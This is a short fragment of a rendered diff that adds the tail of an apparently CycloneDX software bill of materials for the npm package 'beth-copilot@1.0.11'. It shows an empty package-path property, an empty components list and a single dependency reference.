114
|
+
],
|
|
115
|
+
"properties": [
|
|
116
|
+
{
|
|
117
|
+
"name": "cdx:npm:package:path",
|
|
118
|
+
"value": ""
|
|
119
|
+
}
|
|
120
|
+
]
|
|
121
|
+
}
|
|
122
|
+
},
|
|
123
|
+
"components": [],
|
|
124
|
+
"dependencies": [
|
|
125
|
+
{
|
|
126
|
+
"ref": "beth-copilot@1.0.11"
|
|
127
|
+
}
|
|
128
|
+
]
|
|
129
|
+
}
|